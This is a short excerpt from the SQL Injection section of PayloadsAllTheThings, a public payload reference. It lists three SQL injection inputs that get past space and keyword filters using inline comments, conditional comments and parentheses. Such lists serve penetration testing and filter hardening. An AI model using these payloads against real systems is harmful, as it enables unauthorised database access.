SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters: | Bypass | Technique | | ----------------------------------------- | ------------------- | | `?id=1/*comment*/AND/**/1=1/**/--` | Comment | | `?id=1/*!12345UNION*//*!12345SELECT*/1--` | Conditional comment | | `?id=(1)and(1)=(1)--` | Parenthesis |
Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.